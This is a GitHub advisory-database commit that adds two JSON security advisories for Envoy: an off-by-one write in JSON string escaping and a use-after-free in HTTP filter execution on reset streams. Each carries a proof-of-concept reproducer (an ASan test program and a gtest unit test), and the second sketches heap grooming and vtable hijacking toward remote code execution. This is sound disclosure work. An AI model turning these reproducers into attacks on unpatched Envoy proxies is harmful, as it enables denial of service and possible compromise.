Skip to content

Commit 4d635a1

Browse files
Advisory Database Sync
1 parent 142289b commit 4d635a1

235 files changed

Lines changed: 7215 additions & 185 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-56cj-wgg3-x943",
4+
"modified": "2026-03-10T18:30:58Z",
5+
"published": "2026-03-10T18:30:58Z",
6+
"aliases": [
7+
"CVE-2026-26309"
8+
],
9+
"summary": "Envoy affected by off-by-one write in JsonEscaper::escapeString()",
10+
"details": "### Summary\n\n An off-by-one write in Envoy::JsonEscaper::escapeString() can corrupt\n std::string null-termination, causing undefined behavior and potentially\n leading to crashes or out-of-bounds reads when the resulting string is later\n treated as a C-string.\n\n ### Details\n\n The bug is in the control-character escaping path in source/common/common/\n json_escape_string.h:67.\n\n - The function pre-sizes result to the final length: std::string\n result(input.size() + required_size, '\\\\');\n - For control characters (0x00..0x1f), it emits a JSON escape sequence of\n length 6: \\u00XX.\n - It uses sprintf(&result[position + 1], \"u%04x\", ...), which writes 5 chars +\n a trailing NUL (\\0) starting at result[position + 1].\n - Then it does position += 6; and writes result[position] = '\\\\'; to overwrite\n the NUL.\n - If the control character occurs at the end of the output (e.g., the input\n ends with \\x01), then after position += 6, position == result.size(), so\n result[position] is one past the end (off-by-one), violating std::string\n bounds/contract.\n\n Concretely, the problematic lines are:\n\n - source/common/common/json_escape_string.h:69 (sprintf(...))\n - source/common/common/json_escape_string.h:72 (result[position] = '\\\\';)\n\n Potentially reachable from request-driven paths that escape untrusted data,\n e.g. invalid header reporting:\n\n - source/common/http/header_utility.cc:538 ~ source/common/http/\n header_utility.cc:546 (escapes invalid header key for error text)\n\n Even when this doesn’t immediately crash, it can break the std::string\n requirement that c_str()[size()] == '\\0', which can later trigger UB (e.g., if\n passed to strlen, printf(\"%s\"), or any C API that expects NUL termination).\n \n \n ```cpp\n//clang++ -std=c++20 -O0 -g -fsanitize=address -fno-omit-frame-pointer\n repro_json_escape_asan.cc -o repro_json_escape_asan\n ASAN_OPTIONS=abort_on_error=1 ./repro_json_escape_asan\n#include <cstdint>\n #include <cstdio>\n #include <cstring>\n #include <string>\n #include <string_view>\n\n static uint64_t extraSpace(std::string_view input) {\n uint64_t result = 0;\n for (unsigned char c : input) {\n switch (c) {\n case '\\\"':\n case '\\\\':\n case '\\b':\n case '\\f':\n case '\\n':\n case '\\r':\n case '\\t':\n result += 1;\n break;\n default:\n if (c == 0x00 || (c > 0x00 && c <= 0x1f)) {\n result += 5;\n }\n break;\n }\n }\n return result;\n }\n\n static std::string escapeString(std::string_view input, uint64_t\n required_size) {\n std::string result(input.size() + required_size, '\\\\');\n uint64_t position = 0;\n\n for (unsigned char character : input) {\n switch (character) {\n case '\\\"':\n result[position + 1] = '\\\"';\n position += 2;\n break;\n case '\\\\':\n position += 2;\n break;\n case '\\b':\n result[position + 1] = 'b';\n position += 2;\n break;\n case '\\f':\n result[position + 1] = 'f';\n position += 2;\n break;\n case '\\n':\n result[position + 1] = 'n';\n position += 2;\n break;\n case '\\r':\n result[position + 1] = 'r';\n position += 2;\n break;\n case '\\t':\n result[position + 1] = 't';\n position += 2;\n break;\n default:\n if (character == 0x00 || (character > 0x00 && character <= 0x1f)) {\n std::sprintf(&result[position + 1], \"u%04x\",\n static_cast<int>(character));\n position += 6;\n // Off-by-one when this escape is the last output chunk:\n // position can become result.size(), so result[position] is out of\n bounds.\n result[position] = '\\\\';\n } else {\n result[position++] = static_cast<char>(character);\n }\n break;\n }\n }\n\n return result;\n }\n\n int main() {\n std::string input(4096, 'A');\n input.push_back('\\x01'); // ends with a control char -> triggers the buggy\n path at the end\n\n const uint64_t required = extraSpace(input);\n std::string escaped = escapeString(input, required);\n\n std::printf(\"escaped.size=%zu\\n\", escaped.size());\n unsigned char terminator = static_cast<unsigned char>(escaped.c_str()\n [escaped.size()]);\n std::printf(\"escaped.c_str()[escaped.size()] = 0x%02x\\n\", terminator);\n\n // If NUL termination is corrupted, this can read past the logical end.\n std::printf(\"strlen(escaped.c_str()) = %zu\\n\",\n std::strlen(escaped.c_str()));\n return 0;\n }```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/envoyproxy/envoy"
22+
},
23+
"versions": [
24+
"1.37.0"
25+
]
26+
},
27+
{
28+
"package": {
29+
"ecosystem": "Go",
30+
"name": "github.com/envoyproxy/envoy"
31+
},
32+
"ranges": [
33+
{
34+
"type": "ECOSYSTEM",
35+
"events": [
36+
{
37+
"introduced": "1.36.0"
38+
},
39+
{
40+
"last_affected": "1.36.4"
41+
}
42+
]
43+
}
44+
]
45+
},
46+
{
47+
"package": {
48+
"ecosystem": "Go",
49+
"name": "github.com/envoyproxy/envoy"
50+
},
51+
"ranges": [
52+
{
53+
"type": "ECOSYSTEM",
54+
"events": [
55+
{
56+
"introduced": "1.35.0"
57+
},
58+
{
59+
"last_affected": "1.35.8"
60+
}
61+
]
62+
}
63+
]
64+
},
65+
{
66+
"package": {
67+
"ecosystem": "Go",
68+
"name": "github.com/envoyproxy/envoy"
69+
},
70+
"ranges": [
71+
{
72+
"type": "ECOSYSTEM",
73+
"events": [
74+
{
75+
"introduced": "0"
76+
},
77+
{
78+
"last_affected": "1.34.12"
79+
}
80+
]
81+
}
82+
]
83+
}
84+
],
85+
"references": [
86+
{
87+
"type": "WEB",
88+
"url": "https://github.com/envoyproxy/envoy/security/advisories/GHSA-56cj-wgg3-x943"
89+
},
90+
{
91+
"type": "PACKAGE",
92+
"url": "https://github.com/envoyproxy/envoy"
93+
}
94+
],
95+
"database_specific": {
96+
"cwe_ids": [
97+
"CWE-193"
98+
],
99+
"severity": "MODERATE",
100+
"github_reviewed": true,
101+
"github_reviewed_at": "2026-03-10T18:30:58Z",
102+
"nvd_published_at": null
103+
}
104+
}
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-84xm-r438-86px",
4+
"modified": "2026-03-10T18:31:23Z",
5+
"published": "2026-03-10T18:31:23Z",
6+
"aliases": [
7+
"CVE-2026-26311"
8+
],
9+
"summary": "Envoy: HTTP - filter chain execution on reset streams causing UAF crash",
10+
"details": "**Note:**\nThis vulnerability was originally reported to the Google OSS VRP (Issue ID: [477542544](https://issuetracker.google.com/issues/477542544)). The Google Security Team requested that I coordinate directly with the Envoy maintainers for triage and remediation. I am submitting this report here to facilitate that process.\n\n**Technical Details**\nI have identified a logic vulnerability in Envoy's HTTP connection manager (`FilterManager`) that allows for **Zombie Stream Filter Execution**. This issue creates a \"Use-After-Free\" (UAF) or state-corruption window where filter callbacks are invoked on an HTTP stream that has already been logically reset and cleaned up.\n\n**Mechanism:**\nThe vulnerability resides in `source/common/http/filter_manager.cc` within the `FilterManager::decodeData` method.\n\nWhen an HTTP/2 stream encounters a reset condition (e.g., `StreamIdleTimeout`, `OverloadManager` limits, or a local reset triggered by a filter), Envoy calls `onResetStream`. This method:\n1. Sets the internal state `state_.saw_downstream_reset_ = true`.\n2. Invokes `onDestroy()` on all filters in the chain (allowing them to release resources/pointers).\n3. Schedules the `ActiveStream` object for **deferred deletion** (cleanup happens later in the event loop).\n\n**The Flaw:**\nThe `ActiveStream` object remains valid in memory during the deferred deletion window. If a `DATA` frame arrives on this stream immediately after the reset (e.g., in the same packet processing cycle), the HTTP/2 codec invokes `ActiveStream::decodeData`, which cascades to `FilterManager::decodeData`.\n\n`FilterManager::decodeData` **fails to check the `saw_downstream_reset_` flag**. It iterates over the `decoder_filters_` list and invokes `decodeData()` on filters that have already received `onDestroy()`.\n\n**Root Cause Code Location:**\nFile: `source/common/http/filter_manager.cc`\nFunction: `FilterManager::decodeData`\n\n```cpp\nvoid FilterManager::decodeData(...) {\n if (stopDecoderFilterChain()) { return; }\n\n // Vulnerability: Missing check for state_.saw_downstream_reset_\n // Execution proceeds into the loop even if the stream is logically dead.\n\n auto trailers_added_entry = decoder_filters_.end();\n for (; entry != decoder_filters_.end(); entry++) {\n // ... calls (*entry)->handle_->decodeData(data) on destroyed filters ...\n }\n}\n```\n\n**Suggested Fix:**\nAdd an explicit state check at the beginning of `FilterManager::decodeData`.\n\n```cpp\n// Prevent execution on streams that have been reset but not yet destroyed.\nif (state_.saw_downstream_reset_) {\n return;\n}\n```\n\n---\n\n## Impact Analysis\n\n**Who can exploit this:**\nAny remote attacker capable of establishing an HTTP/2 or HTTP/3 connection. No privileges/authentication required.\n\n**Impact & Gain:**\n**1. Memory Corruption & Potential Remote Code Execution:**\nWhile the immediate symptom is a crash (DoS), the underlying primitive is a **Use-After-Free (CWE-416)**.\n* **Mechanism:** When `onDestroy()` is called on filters (e.g., Lua, Wasm, or complex native filters), they release internal structures and invalidate pointers.\n* **Exploitation:** By forcing `decodeData()` to execute on these now-freed objects, an attacker triggers undefined behavior. In a heap-groomed environment, an attacker could potentially replace the freed filter object with a malicious payload before the \"Zombie\" `decodeData` call occurs. This would allow for vtable hijacking or arbitrary write-what-where primitives, leading to **Remote Code Execution (RCE)**.\n* **Risk Amplification:** This is particularly dangerous for Envoy deployments using memory-unsafe extensions or third-party filters (C++ extensions), where `onDestroy` logic is relied upon for safety.\n\n**2. Security Control Bypass:**\nThe vulnerability defeats Envoy's \"Fail-Closed\" security architecture.\n* **Scenario:** If a stream is reset due to a security violation (e.g., `StreamIdleTimeout`, `OverloadManager` rejection, or WAF triggering), this vulnerability allows the attacker to **bypass the termination**.\n* **Result:** The attacker can force the processing of \"Data\" frames on a connection that the security policy explicitly attempted to close, allowing malicious payloads to reach deeper into the filter chain or backend services despite the rejection.\n\n---\n\n## Proof of Concept (Unit Test)\n\n**Description:**\nThe attached C++ unit test (`zombie_stream_poc_test.cc`) deterministically reproduces the vulnerability. It creates a stream, manually triggers a reset (simulating an Overload), and then immediately injects a DATA frame. The test asserts that the filter's `decodeData` callback is invoked on the reset stream.\n\n```cpp\n#include \"test/common/http/conn_manager_impl_test_base.h\"\n#include \"gmock/gmock.h\"\n#include \"gtest/gtest.h\"\n\nusing testing::_;\nusing testing::Invoke;\nusing testing::NiceMock;\nusing testing::Return;\n\nnamespace Envoy {\nnamespace Http {\n\n/**\n * Proof of Concept for \"Zombie Stream Filter Execution\" (HTTP/2 Reset Re-entrancy)\n * * Logic flow:\n * 1. Open a stream with HEADERS.\n * 2. Force a stream reset (simulating an Overload or Timeout).\n * 3. Immediately inject DATA into the stream.\n * 4. ASSERT that the filter's decodeData is called despite the stream being reset.\n */\nclass ZombieStreamPocTest : public HttpConnectionManagerImplTest {\n};\n\nTEST_F(ZombieStreamPocTest, ReproducedZombieFilterExecution) {\n setup(SetupOpts().setTracing(false));\n\n // 1. Setup a mock filter\n std::shared_ptr<MockStreamDecoderFilter> filter(new NiceMock<MockStreamDecoderFilter>());\n \n // Vuln confirmation:\n // We expect decodeData to be called on this filter even though the stream is reset.\n // In a secure/patched implementation, this EXPECT_CALL should fail (Times(0)).\n EXPECT_CALL(*filter, decodeData(_, _))\n .Times(1)\n .WillOnce(Invoke([&](Buffer::Instance&, bool) -> FilterDataStatus {\n ENVOY_LOG_MISC(error, \"!!! VULNERABILITY REPRODUCED: decodeData called on a reset stream !!!\");\n return FilterDataStatus::Continue;\n }));\n\n EXPECT_CALL(*filter, decodeHeaders(_, false))\n .WillOnce(Return(FilterHeadersStatus::StopIteration));\n\n // Register the filter\n EXPECT_CALL(filter_factory_, createFilterChain(_))\n .WillOnce(Invoke([&](FilterChainFactoryCallbacks& callbacks) -> bool {\n auto factory = createDecoderFilterFactoryCb(filter);\n callbacks.setFilterConfigName(\"vulnerable_filter\");\n factory(callbacks);\n return true;\n }));\n\n // 2. Start the stream\n EXPECT_CALL(*codec_, dispatch(_))\n .WillOnce(Invoke([&](Buffer::Instance&) -> Http::Status {\n decoder_ = &conn_manager_->newStream(response_encoder_);\n RequestHeaderMapPtr headers{new TestRequestHeaderMapImpl{\n {\":authority\", \"host\"}, {\":path\", \"/\"}, {\":method\", \"POST\"}}};\n decoder_->decodeHeaders(std::move(headers), false);\n return Http::okStatus();\n }));\n\n // Dispatch headers\n Buffer::OwnedImpl header_buffer(\"headers\");\n conn_manager_->onData(header_buffer, false);\n\n // 3. Trigger a Reset on the ActiveStream\n // This simulates Envoy terminating the stream due to an external event (Overload, Timeout).\n auto* active_stream = dynamic_cast<ConnectionManagerImpl::ActiveStream*>(decoder_);\n \n // This sets state_.saw_downstream_reset_ = true and triggers filter->onDestroy()\n active_stream->onResetStream(StreamResetReason::LocalReset, \"simulated_overload\");\n\n // 4. Attack: Send DATA to the \"Zombie\" stream\n // The ActiveStream object is still alive in the deferred delete list.\n Buffer::OwnedImpl malicious_payload(\"attacker_data\");\n \n // This call reaches the filter because FilterManager::decodeData misses the check!\n active_stream->decodeData(malicious_payload, false);\n}\n\n} // namespace Http\n} // namespace Envoy\n```",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/envoyproxy/envoy"
22+
},
23+
"versions": [
24+
"1.37.0"
25+
]
26+
},
27+
{
28+
"package": {
29+
"ecosystem": "Go",
30+
"name": "github.com/envoyproxy/envoy"
31+
},
32+
"ranges": [
33+
{
34+
"type": "ECOSYSTEM",
35+
"events": [
36+
{
37+
"introduced": "1.36.0"
38+
},
39+
{
40+
"last_affected": "1.36.4"
41+
}
42+
]
43+
}
44+
]
45+
},
46+
{
47+
"package": {
48+
"ecosystem": "Go",
49+
"name": "github.com/envoyproxy/envoy"
50+
},
51+
"ranges": [
52+
{
53+
"type": "ECOSYSTEM",
54+
"events": [
55+
{
56+
"introduced": "1.35.0"
57+
},
58+
{
59+
"last_affected": "1.35.8"
60+
}
61+
]
62+
}
63+
]
64+
},
65+
{
66+
"package": {
67+
"ecosystem": "Go",
68+
"name": "github.com/envoyproxy/envoy"
69+
},
70+
"ranges": [
71+
{
72+
"type": "ECOSYSTEM",
73+
"events": [
74+
{
75+
"introduced": "0"
76+
},
77+
{
78+
"last_affected": "1.34.12"
79+
}
80+
]
81+
}
82+
]
83+
}
84+
],
85+
"references": [
86+
{
87+
"type": "WEB",
88+
"url": "https://github.com/envoyproxy/envoy/security/advisories/GHSA-84xm-r438-86px"
89+
},
90+
{
91+
"type": "PACKAGE",
92+
"url": "https://github.com/envoyproxy/envoy"
93+
}
94+
],
95+
"database_specific": {
96+
"cwe_ids": [
97+
"CWE-416"
98+
],
99+
"severity": "MODERATE",
100+
"github_reviewed": true,
101+
"github_reviewed_at": "2026-03-10T18:31:23Z",
102+
"nvd_published_at": null
103+
}
104+
}

0 commit comments

Comments
 (0)